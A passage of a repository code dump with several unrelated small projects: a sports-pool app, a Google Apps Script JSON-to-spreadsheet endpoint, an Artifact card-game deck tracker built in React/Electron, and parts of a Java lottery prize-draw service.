$push: { entries: entry } }) ); <file_sep>export { default as PoolPortal } from './portal'; export { default as PoolEntries } from './entries'; export { default as PoolStandings } from './standings'; <file_sep>import { makesStitchMongoCrud } from '@makes-apps/lib'; import { BSON } from 'mongodb-stitch-browser-sdk'; import AppActions from '../../app/actions'; import AppContext from '../../app/context'; import { State, MastersScores } from './types'; const factory = AppActions.forNamespace<State>(State.NAMESPACE); const { find, findOne, insert, insertOne, update, updateOne, delete: deleteFn, deleteOne } = makesStitchMongoCrud< AppContext, State, MastersScores >( factory, stitch => stitch .clients() .db('mongo', 'app') .collection<MastersScores>('scores'), bet => (bet ? bet._id.toHexString() : '') ); export const clearDb = factory .withType('clear db') .withoutPayload() .withReducer(state => ({ ...state, db: {} })); export { find, findOne, insert, insertOne, update, updateOne, deleteFn as delete, deleteOne }; export const setScores = factory .withType('set score') .withPayload<MastersScores>() .withReducer((state, { payload }) => ({ ...state, db: { ...state.db, [payload.key]: payload, }, })); export const watchMasters = factory.withType('watch masters').asThunk(() => async (dispatch, _getState, stitch) => { const stream = await stitch .clients() .db('mongo', 'app') .collection<MastersScores>('scores') .watch([new BSON.ObjectId('5caf37d8c8b5c9ec8af3756c')]); stream.onNext(e => { if (e.fullDocument) { dispatch(setScores.creator.action(e.fullDocument)); } }); }); <file_sep>import { BSON } from 'mongodb-stitch-browser-sdk'; import { GolfMajorPickemFor, NbaBingoballFor, NbaFreeAgencyPickemFor, NflBoxesFor } from './meta'; interface BasePoolParty { _id?: BSON.ObjectId; host: string; name: string; note: string; private: boolean; max_entries: number; } interface BasePickemPoolParty extends BasePoolParty { type: 'pickem'; } export interface NbaFreeAgencyPickemParty extends BasePickemPoolParty { mode: 'nba_free_agency'; for: NbaFreeAgencyPickemFor; leaderboard: { [key: string]: number } } export interface GolfMajorPickemParty extends BasePickemPoolParty { mode: 'golf_major'; for: GolfMajorPickemFor; } interface BaseBingoballPoolParty extends BasePoolParty { type: 'bingoball'; } export interface NbaBingoballParty extends BaseBingoballPoolParty { mode: 'nba'; for: NbaBingoballFor; } interface BaseBoxesPoolParty extends BasePoolParty { type: 'boxes'; } export interface NflBoxesParty extends BaseBoxesPoolParty { mode: 'nfl'; for: NflBoxesFor; } export type PoolParty = NbaFreeAgencyPickemParty | GolfMajorPickemParty | NbaBingoballParty | NflBoxesParty; <file_sep>import { AuthTypes, BaseCrudState } from '@makes-apps/lib'; const NAMESPACE = 'users'; interface User extends AuthTypes.BaseUser { firstName: string; lastName: string; credit: number; debit: number; skill: number; coin: number; reputation: number; games: string[]; bets: string[]; } export const userId = (user: User): string => user._id ? (typeof user._id === 'string' ? user._id : user._id.toHexString()) : undefined; class State extends BaseCrudState<User> {} export { NAMESPACE, User, State };
81d1770bd8bde5f2bca871ea0befb0967b7de10e
[ "Markdown", "TypeScript" ]
41
TypeScript
shake-on-it/app
3e6ffa1d22b8977ccae7d546c566bda21b166c02
bdbf2fdca588aa059f161a3380575113dba256cc
refs/heads/master
<file_sep>import React from 'react' import { Grid, Input, Button, Transition} from 'semantic-ui-react' const RecordCounter = (props) => ( <Grid divided='vertically'> <Grid.Row columns={2}> <Grid.Column> <Transition visible={props.decks.length !== 0} animation="scale" duration={500} > <p><strong> WINS: </strong></p> </Transition> <Transition visible={props.decks.length !== 0} animation="scale" duration={500} > <form onSubmit={props.updateDeckWin}> <Input placeholder={props.selected_deck.wins} action> <input id="wins" /> <Button color="green"> Update Wins </Button> </Input> </form> </Transition> </Grid.Column> <Grid.Column> <Transition visible={props.decks.length !== 0} animation="scale" duration={500} > <p><strong> LOSSES: </strong></p> </Transition> <Transition visible={props.decks.length !== 0} animation="scale" duration={500} > <form onSubmit={props.updateDeckLoss}> <Input placeholder={props.selected_deck.losses} action> <input id="losses" /> <Button color="red"> Update Losses </Button> </Input> </form> </Transition> </Grid.Column> <Grid.Column> <Transition visible={props.decks.length !== 0} animation="scale" duration={500} > <p><strong> DRAWS: </strong></p> </Transition> <Transition visible={props.decks.length !== 0} animation="scale" duration={500} > <form onSubmit={props.updateDeckDraw}> <Input placeholder={props.selected_deck.draws} action> <input id="draws" /> <Button color="gray"> Update Draws </Button> </Input> </form> </Transition> </Grid.Column> </Grid.Row> </Grid> ) export default RecordCounter<file_sep>import React from 'react' import { Icon } from 'semantic-ui-react' const matchHistoryIcons = () => ( <div> <Icon color = 'green' name = 'check'/> <Icon color = 'red' name = 'x'/> </div> ) export default matchHistoryIcons <file_sep>import React, { Component } from "react"; import SearchDeck from "./SearchDeck.js"; import DeckShowcase from "./DeckShowcase.js" import RecordCounter from "./RecordCounter.js" import SearchTable from "./SearchTable.js" import { Button, Divider, Grid, Icon, Input, Header, Message, Transition, Label } from "semantic-ui-react"; /* selected_deck is the deck selected from the decks array. Starts with -1 as no decks are selected, but as you click on decks or make new decks, it changes. decks is an array of 'deck' (obviously). a deck object contains 'deck_name' and 'cards'. search_deck is a deck of all the cards in the game. */ class App extends Component { state = { selected_deck: {}, decks: [], search_deck: [], filtered_search_deck : [] }; componentDidMount() { this.fetchCards(); // localStorage.clear(); let decks = JSON.parse(localStorage.getItem("decks")); console.log("d: ", decks); if (decks) { this.setState({ decks }); if (decks.length > 0) { this.setState({selected_deck : decks[0]}); } } } fetchCards = async () => { try { var sd = await SearchDeck.getSearchDeck(); this.setState({ search_deck: sd, filtered_search_deck: sd }); } catch (err) { console.log("err", err); } }; handleSubmit = e => { e.preventDefault(); const value = e.target.deck_name.value; if (value) { let selected_deck = { id: this.state.decks.length, deck_name: value, wins: 0, losses: 0, cards: [], card_len: 0 }; let decks = this.state.decks; decks.push(selected_deck); this.setState({ decks, selected_deck }); localStorage.decks = JSON.stringify(decks); console.log("ls: ", decks); } e.target.deck_name.value = ""; }; deleteDeck = () => { var decks = this.state.decks; var idx = this.state.selected_deck.id; decks.splice(this.state.selected_deck.id, 1); for(var i = idx; i < decks.length; i++) { decks[i].id--; } var selected_deck = {}; this.setState({ decks, selected_deck }); localStorage.decks = JSON.stringify(decks);; }; handleClickDeck = selected_deck => { this.setState({ selected_deck }); }; onCardSearch = (e) => { const val = e.target.value.toLowerCase(); this.setState({ filtered_search_deck : this.state.search_deck.filter( card => card.name.toLowerCase().includes(val)) }); } onSearchTableClick = (card) => { let selected_deck = this.state.selected_deck; if (!selected_deck.hasOwnProperty("cards")) { return; } if (card.hasOwnProperty("id")) { let found_duplicate = null; for (var i = 0; i < selected_deck.cards.length; i++) { if (selected_deck.cards[i].id == card.id) { found_duplicate = selected_deck.cards[i]; if (found_duplicate.count > 2) { return; } break; } } if (found_duplicate) { found_duplicate.count++; } else { selected_deck.cards.push(card); } selected_deck.card_len++; this.setState({selected_deck}); localStorage.decks = JSON.stringify(this.state.decks); } } deleteCard = (idx) => { let selected_deck = this.state.selected_deck; let card = selected_deck.cards[idx]; selected_deck.card_len--; if (card.count > 1) { card.count--; } else { selected_deck.cards.splice(idx, 1); } this.setState({ selected_deck }); localStorage.decks = JSON.stringify(this.state.decks); } updateDeckWin = e => { e.preventDefault(); const value = e.target.wins.value; if (!isNaN(value)) { let selected_deck = this.state.selected_deck; selected_deck.wins = value; this.setState({selected_deck}); localStorage.decks = JSON.stringify(this.state.decks); } e.target.wins.value = ""; } updateDeckLoss = e => { e.preventDefault(); const value = e.target.losses.value; if (!isNaN(value)) { let selected_deck = this.state.selected_deck; selected_deck.losses = value; this.setState({selected_deck}); localStorage.decks = JSON.stringify(this.state.decks); } e.target.losses.value = ""; } render() { const { selected_deck } = this.state; return ( <div> <Grid container style={{ padding: "5em 0em" }}> <Grid.Row> <Grid.Column> <Header as="h1" dividing> ARTITRAKT </Header> </Grid.Column> </Grid.Row> <Grid.Row> <Grid.Column> <Message> <Header as="h1">Hello!</Header> <p> Welcome to ARTITRAKT. Build Artifact decks and track how well you compete with other players! <br></br> Created by amagana8 and ohjinsoo. </p> <Label.Group> {this.state.decks.length === 0 ? ( <Label color="red">No Decks</Label> ) : ( this.state.decks.map(deck => ( <Label key={deck.id} color={deck.id === selected_deck.id ? "green" : "blue"} onClick={() => { this.handleClickDeck(deck); }} > {deck.deck_name} ( {deck.card_len} cards ) </Label> )) )} </Label.Group> </Message> <form onSubmit={this.handleSubmit}> <Input placeholder="Deck Name" action> <input id="deck_name" /> <Button color="blue"> Create a Deck <Icon name="right arrow" /> </Button> </Input> </form> <Divider /> <RecordCounter decks = {this.state.decks} selected_deck = {this.state.selected_deck} updateDeckWin = {this.updateDeckWin} updateDeckLoss = {this.updateDeckLoss} /> <Grid columns='two' divided> <Grid.Row> <Grid.Column width={6}> <Input icon='search' placeholder='Search for a Card...' onChange={this.onCardSearch} /> <br></br> <SearchTable cards = {this.state.filtered_search_deck} onSearchTableClick = {this.onSearchTableClick} /> <br></br> </Grid.Column> <Grid.Column width={6}> <br></br> <br></br> <DeckShowcase cards = {this.state.selected_deck.cards} deleteCard = {this.deleteCard} /> </Grid.Column> </Grid.Row> </Grid> <Transition visible={this.state.decks.length !== 0} animation="scale" duration={500} > <Button color="red" onClick={this.deleteDeck}> DELETE THIS DECK </Button> </Transition> </Grid.Column> </Grid.Row> </Grid> </div> ); } } export default App; <file_sep>import * as ArtifactApi from 'node-artifact-api'; async function getSearchDeck() { let search_deck = []; //let temp_set = await ArtifactApi.getSet("00", false); let temp_set = require('./cardSet.json'); addToDeck(search_deck, temp_set); //temp_set = await ArtifactApi.getSet("01", false); addToDeck(search_deck, temp_set); return search_deck; } function addToDeck(search_deck, temp_set) { let card_list = temp_set.card_set.card_list; for (var i = 0; i < card_list.length; i++) { let card = card_list[i]; if (card.card_type != "Stronghold" && card.card_type != "Pathing") { var color = ""; if (card.is_red) { color = "red"; } else if (card.is_green) { color = "green"; } else if (card.is_blue) { color = "blue"; } else if (card.is_black) { color = "black"; } var value = { id : card.card_id, color : color, type : card.card_type, name : card.card_name.english, text : card.card_text.english, image : card.large_image.default, mana : card.mana_cost, count : 1 } search_deck[search_deck.length] = value; } } } export default { getSearchDeck }; <file_sep>import React from 'react' import { Table, Icon, Popup, Image } from 'semantic-ui-react' import Scrollbar from 'react-scrollbars-custom' const SearchTable = (props) => ( <Scrollbar style={ {width: '100%', height: '100%', minHeight: 300} } > <Table sortable singleLine > <Table.Header> <Table.Row> <Table.HeaderCell>Color</Table.HeaderCell> <Table.HeaderCell>Name</Table.HeaderCell> <Table.HeaderCell>Type</Table.HeaderCell> <Table.HeaderCell>Mana</Table.HeaderCell> </Table.Row> </Table.Header> <Table.Body> { (props.cards.map((card , i) => ( <Popup trigger= { <Table.Row key ={i} onClick={() => { props.onSearchTableClick(card); }}> <Table.Cell> { card.color != "" ? <Icon circular color={card.color} name='users' /> : <Icon circular name='circle outline' /> } </Table.Cell> <Table.Cell>{card.name.padEnd('25')}</Table.Cell> <Table.Cell>{card.type.padEnd('15')}</Table.Cell> <Table.Cell>{card.mana}</Table.Cell> </Table.Row> } content={ <Image src={card.image} size='small' /> } /> ))) } </Table.Body> </Table> </Scrollbar> ) export default SearchTable<file_sep>import React from 'react' import { Grid, Image } from 'semantic-ui-react' const HoveringCard = (props) => ( <Grid columns='two' divided> <Grid.Row> <Grid.Column> <Image src={props.card.image} size='small' /> </Grid.Column> <Grid.Column> <p> test </p> </Grid.Column> </Grid.Row> </Grid> ) export default HoveringCard;<file_sep># Artitrakt A deck tracker for the game Artifact. Saves decks and keeps track of your wins/losses. # Download Link Click [here](https://github.com/amagana8/artitrakt/releases/download/0.1.0/artitrakt.app.zip) to get Artitrakt v0.1.0. # Todo * Add table sorting mechanism. * Import and export decks using Artifact's deck code. * Create separate Hero, Items, and Abilities decks. * Add automatic win/loss tracking. ### `yarn install` ```yarn install``` will go through the package.json and download all the required node modules. ### `yarn electron-dev` ```yarn electron-dev``` will start the Electron app and the React app at the same time. ### `yarn react-build` ```yarn react-build``` will build the React build. ### `yarn build` ```yarn build``` will build the Electron application. # Questions Q: I get ```Unresolved node modules: <insert node module here>``` when running yarn build. How do you fix this?<br/> A: type in ```export ELECTRON_BUILDER_ALLOW_UNRESOLVED_DEPENDENCIES=1``` and run it again. This project was bootstrapped with [Create React App](https://github.com/facebook/create-react-app)
86f58e28d9853add6fce4f543b9fde48a765d7fb
[ "JavaScript", "Markdown" ]
7
JavaScript
amagana8/artitrakt
2256dbc6de84dea332a21c3b47a4dd747621c712
3dbd3ed6b281ee212c63a2321fe2bb28cda4ebe3
refs/heads/master
<repo_name>upinetree/gas-post-json-app<file_sep>/jsonPostApi.ts function doPost(e: any) { const props = PropertiesService.getScriptProperties().getProperties(); const spreadsheetId = props["spreadsheetId"]; const params = JSON.parse(e.postData.getDataAsString()); const sheet = SpreadsheetApp.openById(spreadsheetId).getSheetByName( params["sheetname"] ); let result = {}; if (sheet) { appendRow(sheet, params); result = { success: true }; } else { result = { success: false, error: "Sheet not found" }; } // https://developers.google.com/apps-script/guides/content const response = ContentService.createTextOutput(); response.setMimeType(ContentService.MimeType.JSON); response.setContent(JSON.stringify(result)); return response; } // レスポンスのリダイレクト用 // https://developers.google.com/apps-script/guides/content#redirects function doGet(e: any) { const params = JSON.stringify(e); return HtmlService.createHtmlOutput(params); } function appendRow( sheet: GoogleAppsScript.Spreadsheet.Sheet, parameter: object ) { parameter["timestamp"] = new Date(); const row = createRow(sheet, parameter); sheet.appendRow(row); } function createRow( sheet: GoogleAppsScript.Spreadsheet.Sheet, parameter: object ) { const keys = sheet.getDataRange().getValues()[0]; return keys.map(key => parameter[key] || ""); } //////////////////////////////// test function testAppendRow() { const sheet = SpreadsheetApp.getActive().getSheetByName("code_lines"); appendRow(sheet, { Total: "10000", Controllers: "14393", commit: "1<PASSWORD>", invalidKey: "this will not be shown" }); } <file_sep>/README.md # gas-post-json-app ## Installation Setup clasp: https://github.com/google/clasp#install Setup this repo: ``` npm install clasp setting scriptId {existing or new id} ```
d621d1df4b3639c5422eaa03fa7221f825cff2df
[ "Markdown", "TypeScript" ]
2
TypeScript
upinetree/gas-post-json-app
e0c335b2552c656531b6a13a4ed9e22014fc79be
afa801638eb577f99cbdbaf4e701b40c4ba59652
refs/heads/master
<repo_name>joey12492/Venus<file_sep>/venus-service/src/main/java/com/babel/venus/util/ThirdReqUtil.java package com.babel.venus.util; /** * User: joey * Date: 2017/10/30 * Time: 17:18 */ public class ThirdReqUtil { } <file_sep>/venus-service/src/main/java/com/babel/venus/service/feign/VenusOutServerConsumer.java package com.babel.venus.service.feign; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import javax.annotation.Resource; import com.babel.common.lottery.StatusType; import com.babel.venus.feign.*; import org.apache.commons.lang.StringUtils; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; import com.alibaba.fastjson.JSON; import com.babel.account.po.PlatLottery; import com.babel.api.riskmanagement.entity.RiskCheckResult; import com.babel.ares.analysis.api.model.PrizeNumberPO; import com.babel.ares.analysis.api.model.PrizeNumberVO; import com.babel.ares.model.OddsItemPO; import com.babel.ares.vo.OddsVO; import com.babel.common.core.data.RetData; import com.babel.common.core.util.ResponseData; import com.babel.forseti_order.dto.UserOrderStatusDTO; import com.babel.loky.logs.RecentlyErrors; import com.babel.venus.util.AssembleHttpUtils; @Component public class VenusOutServerConsumer { private static final Logger log = LoggerFactory.getLogger(VenusOutServerConsumer.class); @Autowired private PlatInfoFeignClient platInfoFeignClient; @Autowired private ConfigFeignClient configFeignClient; @Autowired private ForsetiFeignClient forsetiFeignClient; @Autowired private RiskFeignClient riskFeignClient; @Autowired private AnalysisFeignClient analysisFeignClient; @Resource private AssembleHttpUtils assembleHttpUtils; @Resource private HermesFeignClient hermesFeignClient; /** * 平台商赔率列表 * * @param platInfoId * @param lotteryId * @return */ public List<PlatLottery> lotteryList(Long platInfoId, Long lotteryId) { try { log.info("--> req account lotteryList, platInfoId :{} ,lotteryId:{}", platInfoId, lotteryId); RetData<List<PlatLottery>> resp = platInfoFeignClient.lotteryList(platInfoId, lotteryId, StatusType.ENABLED.code()); return resp.getData(); } catch (Exception e) { log.error("--> req account lotteryList error, platInfoId:{}, lotteryId:{}", platInfoId, lotteryId, e); } return null; } /** * 获取所有的赔率信息 * * @return */ public List<OddsItemPO> queryOddsItemsList(Long oddsId, Long lotteryId, Long payoffGroupId) { try { RetData<OddsVO> oddsVORetData = configFeignClient.getOdds(oddsId, lotteryId, payoffGroupId); if (oddsVORetData.getData() != null && oddsVORetData.getData().getItemPO() != null) { log.info("--> req config queryOddsItemsList,oddsId :{} ,lotteryId:{}, payoffGroupId:{}, result :{}", oddsId, lotteryId, payoffGroupId, JSON.toJSONString(oddsVORetData.getData().getItemPO())); return oddsVORetData.getData().getItemPO(); } log.info("--> req config queryOddsItemsList, oddsId :{} ,lotteryId:{}, payoffGroupId:{}", oddsId, lotteryId, payoffGroupId); return null; } catch (Exception e) { log.error("--> req config queryOddsItemsList error, oddsId:{}, lotteryId:{}, payoffGroupId:{} ", oddsId, lotteryId, payoffGroupId, e); RecentlyErrors.logExp(this.getClass(), "--> req-config-queryOddsItemsList", String.format("oddsId:%d, lotteryId:%d, payoffGroupId:%d", oddsId, lotteryId, payoffGroupId)); } return null; } /** * 修改订单状态 * * @param statusOrder * @return */ public void updateOrderStatus(UserOrderStatusDTO statusOrder) { log.info("--> req forseti updateOrderStatus ,params:{} ", JSON.toJSON(statusOrder)); try { RetData retData = forsetiFeignClient.updateOrderStatus(statusOrder); if (!retData.getErr().equals("SUCCESS")) { log.error("--> forseti updateOrderStatus error, result: {}, param:{}", JSON.toJSONString(retData), JSON.toJSONString(statusOrder)); } else { log.info("--> forseti updateOrderStatus suc,lotteryId:{},pcode:{}, result:{} ", statusOrder.getLotteryId(), statusOrder.getPcode(), JSON.toJSON(retData)); } } catch (Exception e) { log.error("--> forseti updateOrderStatus error, params:{}, ", JSON.toJSONString(statusOrder), e); RecentlyErrors.logExp(this.getClass(), "req-forseti-updateOrderStatus", JSON.toJSONString(statusOrder)); } } /** * 处理单个中奖 * * @param order * @return */ public RiskCheckResult disposeBingoOrder(String order) { try { RetData<RiskCheckResult> retData = riskFeignClient.disposeBingoOrder(order); if (!retData.getErr().equals("SUCCESS")) { log.error("--> risk disposeBingoOrder failed, result: {}, param:{}", JSON.toJSONString(retData), JSON.toJSONString(order)); } else { return retData.getData(); } } catch (Exception e) { log.error("--> risk disposeBingoOrder error, params:{}, ", JSON.toJSONString(order), e); RecentlyErrors.logExp(this.getClass(), "req-risk-disposeBingoOrder", order); } return null; } /** * 处理单个未中奖 * * @param order * @return */ public RiskCheckResult disposeNotWinOrder(String order) { try { RetData<RiskCheckResult> retData = riskFeignClient.disposeNotWinOrder(order); if (!retData.getErr().equals("SUCCESS")) { log.error("--> risk disposeNotWinOrder failed, result: {}, param:{}", JSON.toJSONString(retData), JSON.toJSONString(order)); } else { return retData.getData(); } } catch (Exception e) { log.error("--> risk disposeNotWinOrder error, params:{}, ", JSON.toJSONString(order), e); RecentlyErrors.logExp(this.getClass(), "req-risk-disposeNotWinOrder", order); } return null; } /** * 调用风控系统测试多个中奖订单 * * @param orderListString * @return */ public Map<String, RiskCheckResult> disposeMulBingoOrder(String orderListString) { try { RetData<Map<String, RiskCheckResult>> result = riskFeignClient.disposeMulBingoOrder(orderListString); if (!result.getErr().equals(RetData.SUCCESS)) { return new HashMap<>(); } return result.getData(); } catch (Exception e) { log.error("--> req risk disposeMulBingoOrder error,", e); RecentlyErrors.logExp(this.getClass(), "req-risk-disposeMulBingoOrder", orderListString); } return null; } /** * 处理多个未中奖 * * @param orderListString */ public void disposeMulNotWinOrder(String orderListString) { try { riskFeignClient.disposeMulNotWinOrder(orderListString); } catch (Exception e) { log.error("--> risk disposeMulNotWinOrder error, params:{}, ", orderListString, e); RecentlyErrors.logExp(this.getClass(), "req-risk-disposeMulNotWinOrder", orderListString); } } /** * 当一期开完奖以后调用 * * @param pdate * @param lotteryId * @param pcode * @return */ public void disposeForOnePcodeEnd(int pdate, long lotteryId, long pcode) { log.info("--> req risk disposeForOnePcodeEnd ,params, pdate:{}, lotteryId:{}, pcode:{} ", pdate, lotteryId, pcode); try { RetData retData = riskFeignClient.disposeForOnePcodeEnd(pdate, lotteryId, pcode); if (!retData.getErr().equals("SUCCESS")) { log.error("--> risk disposeForOnePcodeEnd failed, result: {}, params, pdate:{}, lotteryId:{}, pcode:{} ", JSON.toJSONString(retData), pdate, lotteryId, pcode); } } catch (Exception e) { log.error("--> forseti updateOrderStatus error, params, pdate:{}, lotteryId:{}, pcode:{} ", pdate, lotteryId, pcode, e); RecentlyErrors.logExp(this.getClass(), "req-risk-disposeForOnePcodeEnd", String.format("pdate:%d, lotteryId:%d, pcode:%d", pdate, lotteryId, pcode)); } } /** * 获取奖源 * * @param pcode 期数 * @param code 彩种缩写名称 * @param prizeStatus 彩种开奖状态 * @return */ public List<PrizeNumberPO> getListByIssue(Long pcode, String code, Long lotteryCId, Integer prizeStatus, Long lotteryId) { try { PrizeNumberVO vo = new PrizeNumberVO(); List<String> issues = new ArrayList<>(); issues.add(pcode.toString()); vo.setIssueList(issues); if (StringUtils.isNotBlank(code)) { vo.setCode(code); } if (lotteryCId != null) { vo.setCid(lotteryCId); } if (lotteryId != null) { vo.setLotteryId(lotteryId); } if (prizeStatus != null) { vo.setPrizeStatus(prizeStatus); } List<PrizeNumberPO> list = analysisFeignClient.getListByIssue(vo); log.info("--> analysis req getListByIssue success, param, pcode :{}, code :{}, result :{}", pcode, code, JSON.toJSONString(list)); return list; } catch (Exception e) { log.error("--> analysis req getListByIssue error, param, pcode :{}, code :{}", pcode, code, e); RecentlyErrors.logExp(this.getClass(), "req-analysis-getListByIssue", String.format("pcode:%d, code:%s, lotteryCId:%d, prizeStatus:%d", pcode, code, lotteryCId, prizeStatus)); } return null; } /** * 修改奖源的开奖状态 * * @param * @return */ public boolean updatePrizeNumber(Long pcode, Long lotteryId, Integer prizeStatus) { try { PrizeNumberPO po = new PrizeNumberPO(); po.setIssue(pcode.toString()); po.setLotteryId(lotteryId); po.setPrizeStatus(prizeStatus); int result = analysisFeignClient.updatePrizeNumber(po); log.info("--> analysis req updatePrizeNumber success ,param , pcode :{}, lotteryId:{} , result:{}", pcode, lotteryId, result); return result > 0; } catch (Exception e) { log.error("--> analysis req updatePrizeNumber error ,param , pcode :{}, lotteryId:{} ", pcode, lotteryId, e); RecentlyErrors.logExp(this.getClass(), "req-analysis-updatePrizeNumber", String.format("pcode:%d, lotteryId:%d, prizeStatus:%d", pcode, lotteryId, prizeStatus)); } return false; } public String drawPrizeInternal(String host, Long pCode, String code, Long lotteryCId, Integer drawPrizeStatus) { Object[] objects = new Object[]{pCode, code, lotteryCId, drawPrizeStatus}; ResponseData result = assembleHttpUtils.execRequest(host, AssembleHttpUtils.SendReq.VENUS_DRAW_PRIZE_INTERNAL, objects); if (!result.isFlag()) { return null; } return result.getResult(); } /** * 开奖完成后调用hermes执行etl * * @param pcode * @param lotteryId * @param procStatus * @param prizeStatus * @return */ public String hermesDrawPrizeSucHandler(String host, Long pcode, Long lotteryId, Integer procStatus, Integer prizeStatus, boolean repairEnter) { Object[] objects = new Object[]{pcode, lotteryId, procStatus, prizeStatus, repairEnter}; ResponseData result = assembleHttpUtils.execRequest(host.trim(), AssembleHttpUtils.SendReq.HERMES_DRAW_PRIZE_SUC_HANDLER, objects); if (!result.isFlag()) { return null; } return result.getResult(); } public boolean repairNoDrawOrders(Long pcode, Integer pdate, Long lotteryId, List<String> noProcOrderIds, List<String> incompleteOrders) { try { if (noProcOrderIds.size() == 0 && incompleteOrders.size() == 0) { return false; } RetData<Boolean> retData = hermesFeignClient.repairNoDrawOrders(pcode, pdate, lotteryId, noProcOrderIds, incompleteOrders); return retData.getData(); } catch (Exception e) { log.error("--> hermes repairNoDrawOrders error: noProceOrderIds:{}, incompleteOrderIds:{}", noProcOrderIds, incompleteOrders, e); } return false; } public Long getPdateByPCode(Long lotteryId, Long pcode) { try { RetData<Long> retData = forsetiFeignClient.getPriodDataPcode(lotteryId, pcode); return retData.getData(); } catch (Exception e) { log.error("--> forseti getPriodDataPcode error, lotteryId:{}, pcode:{} ", lotteryId, pcode, e); } return 0L; } public Map<Long, Integer> getLotteryTypes() { try { RetData<Map<Long, Integer>> retData = forsetiFeignClient.getLotteryTypes(); log.info("--> forseti getLotteryTypes result :{}",JSON.toJSONString(retData.getData())); if (retData.getData() != null) { return retData.getData(); } return new HashMap<>(); } catch (Exception e) { log.error("--> forseti getLotteryTypes error::",e); } return new HashMap<>(); } public Long getPlatInfoByTrialId(Long trialPlatId) { try { RetData<Long> retData = platInfoFeignClient.getPlatInfoByTrialId(trialPlatId); log.info("--> platInfo getPlatInfoByTrialId, param:{}, result :{}", trialPlatId ,retData.getData()); return retData.getData(); } catch (Exception e) { log.error("--> platinfo getPlatInfoByTrialId error, trialPlatId:{}", trialPlatId, e); } return null; } } <file_sep>/venus-web/src/main/resources/dev/venus-db.properties #mysql.crius.driver=com.mysql.jdbc.Driver # #mysql.venus.url=jdbc:mysql://192.168.0.244:3306/pf-order-10001?useUnicode=true&amp;characterEncoding=utf-8&amp;autoReconnect=true #mysql.venus.db.user=root #mysql.venus.db.password=<PASSWORD> # #venus.mapper.path=classpath*:com/magic/crius/dao/crius/mapper/*.xml <file_sep>/venus-service/src/main/java/com/babel/venus/feign/HermesFeignClient.java package com.babel.venus.feign; import com.babel.common.core.data.RetData; import com.babel.hermes.commons.HermesServer; import com.babel.venus.client.AuthorizedFeignClient; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import java.util.List; /** * User: joey * Date: 2018/1/1 * Time: 12:16 */ @AuthorizedFeignClient(name = HermesServer.SERVER_NAME) public interface HermesFeignClient { @PostMapping(value = "/apis/repair/no_draw_orders", name = "手动修复未执行开奖流程的订单,并入库") RetData<Boolean> repairNoDrawOrders(@RequestParam(name = "pcode") Long pcode, @RequestParam(name = "pdate") Integer pdate, @RequestParam(name = "lotteryId") Long lotteryId, @RequestParam(name = "noProcOrderIds") List<String> noProcOrderIds, //未执行开奖的订单id @RequestParam(name = "incompleteOrders") List<String> incompleteOrders ); } <file_sep>/venus-web/src/main/resources/dev/venus-kafka.properties #kafka.broker.host= #auto.commit.interval.ms=100 #session.timeout.ms=15000 #auto.offset.reset=latest #capital_topic=vruis-capital <file_sep>/venus-service/src/test/resources/testResource/venus-redis.properties redis.maxIdle=10 redis.maxActive=1000 redis.maxWait=30000 redis.testOnBorrow=true redis.host=192.168.0.253 redis.port=6379 venus.host1=192.168.0.253 venus.port1=6379 venus.host2=192.168.0.253 venus.port2=6379 <file_sep>/venus-service/src/main/java/com/babel/venus/feign/ForsetiFeignClient.java package com.babel.venus.feign; import com.babel.common.core.data.RetData; import com.babel.forseti.constant.ForsetiServer; import com.babel.forseti_order.dto.PeriodDataDTO; import com.babel.forseti_order.dto.UserOrderStatusDTO; import com.babel.venus.client.AuthorizedFeignClient; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestParam; import java.util.List; import java.util.Map; @AuthorizedFeignClient(name = "forseti") public interface ForsetiFeignClient { @GetMapping(value = ForsetiServer.PERIOD_DATA_NEWLY, name = "获取最近三期奖期列表") RetData<List<PeriodDataDTO>> getPriodDataNewly( @RequestParam(value = "lotteryId", required = false) Long lotteryId, @RequestParam(value = "maxUpdateTime", required = false) Long maxUpdateTime); @PostMapping(path = ForsetiServer.ORDERS_UPDATE_ORDER_STATUS, name = "修改订单状态") RetData updateOrderStatus(@RequestBody UserOrderStatusDTO statusOrder); @GetMapping(value = ForsetiServer.PERIOD_DATA_PCODE, name = "根据期数获取pdate") RetData<Long> getPriodDataPcode( @RequestParam(value = "lotteryId", required = false) Long lotteryId, @RequestParam(value = "pcode", required = false) Long pcode); @GetMapping(value = ForsetiServer.LOTTERY_TYPES, name = "彩种类型查询") RetData<Map<Long, Integer>> getLotteryTypes(); } <file_sep>/venus-service/src/main/java/com/babel/venus/config/VenusRefreshConfig.java package com.babel.venus.config; import org.springframework.beans.factory.annotation.Value; import org.springframework.cloud.context.config.annotation.RefreshScope; import org.springframework.stereotype.Component; /** * User: joey * Date: 2017/11/7 * Time: 10:28 * 通过springCloud配置中心管理的可以刷新的配置 */ @RefreshScope @Component public class VenusRefreshConfig { @Value("${customer.venus.draw.prize.hosts}") private String venusReqDrawHosts; @Value("${customer.hermes.draw.prize.hosts}") private String hermesReqDrawHosts; /** * venus开奖后调用的地址 * @return */ public String getVenusReqDrawHosts() { return venusReqDrawHosts; } /** * hermes开奖后调用的地址 * @return */ public String getHermesReqDrawHosts() { return hermesReqDrawHosts; } } <file_sep>/venus-web/src/main/java/com/babel/venus/web/rest/InternalTestResource.java package com.babel.venus.web.rest; import com.babel.common.core.data.RetData; import com.babel.venus.assemble.UserOrderAssemService; import com.babel.venus.constants.VenusServer; import com.babel.venus.vo.UserOrderPayoffVo; import com.bc.lottery.entity.LotteryType; import org.springframework.http.MediaType; import org.springframework.web.bind.annotation.*; import javax.annotation.Resource; import java.util.List; import java.util.Map; /** * User: joey * Date: 2017/11/27 * Time: 10:41 */ @RestController @RequestMapping("/") public class InternalTestResource { @Resource private UserOrderAssemService userOrderAssemService; @PostMapping(path = VenusServer.SINGLE_ORDER_PAYOFF, name = "只执行派奖流程,不执行其他,内部测试使用", produces = MediaType.APPLICATION_JSON_UTF8_VALUE) public RetData<Map<String, Long>> manualPayoff( @RequestBody List<UserOrderPayoffVo> orders, @RequestParam(name = "lotteryId") Long lotteryId, @RequestParam(name = "playId") Long playId, @RequestParam(name = "platInfoId") Long platInfoId, @RequestParam(name = "acType", required = false, defaultValue = 